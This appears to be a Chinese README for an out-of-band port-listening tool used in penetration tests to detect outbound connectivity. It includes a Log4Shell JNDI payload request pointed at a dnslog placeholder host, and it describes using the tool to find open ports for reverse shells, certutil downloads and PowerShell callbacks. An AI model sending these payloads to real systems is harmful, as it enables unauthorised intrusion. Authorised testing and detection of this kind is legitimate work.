搭配log4j2burpscanner参考这里
项目中的jar包为log4j(CVE-2021-44228)环境 触发漏洞的请求包为:
GET /cvetext?cmd=$%7bjndi:dns://xxxxx.dnslog.cn%7d HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close用于解决判断出网情况的问题，以http、ldap、rmi以及socket形式批量监听端口，在web界面进行结果查看，结果呈现形式类似dnslog，可用于内网log4j(CVE-2021-44228)等漏洞的检测，默认访问http://x.x.x.x:65535/resp即可查看到请求
- http请求
- ldap请求
- rmi请求
用法:
-ps , ports start 端口组监听，开始
-pe , ports end 端口组监听，结束
-pn ,port ,exp:22,3306,8443 指定端口监听
-wp ,wport ,exp: 65535 指定端口运行http服务查看结果
-t, token, exp: f0ng 指定token
- windows可直接运行
- linux需要安装musl-libc-static
Ubuntu
apt install musl-tools
Centos
get https://copr.fedorainfracloud.org/coprs/ngompa/musl-libc/repo/epel-7/ngompa-musl-libc-epel-7.repo -O /etc/yum.repos.d/ngompa-musl-libc-epel-7.repo
yum install -y musl-libc-staticweb页面进行查询
words参数，根据内容查询请求，exp: words=/index
ip参数，根据ip查询请求，exp: ip=127.0.0.1
port参数，根据端口查询请求，exp: port=8081
protocol参数，根据协议查询请求，exp: protocol=http在log4j2(CVE-2021-44228)下，一般JNDIExpliot的1389等ldap的端口会禁止，那么可以使用该工具进行批量端口监听，然后在数据包内设置端口号为变量，查看端口通信接收情况(ldap),举例ldap监听情况(rmi同理):
在windows系统无法上传文件情况下，需要进行文件下载，如certutil落地文件、powershell上线等等，会遇到某些端口无法出网，可以将certuil探测的端口设置为变量，使用本工具进行监听，如下
在进行反弹shell的时候，有时会禁止一些目的端口访问，可以通过使用该工具进行批量端口监听，查看端口通信接收情况(socket)。
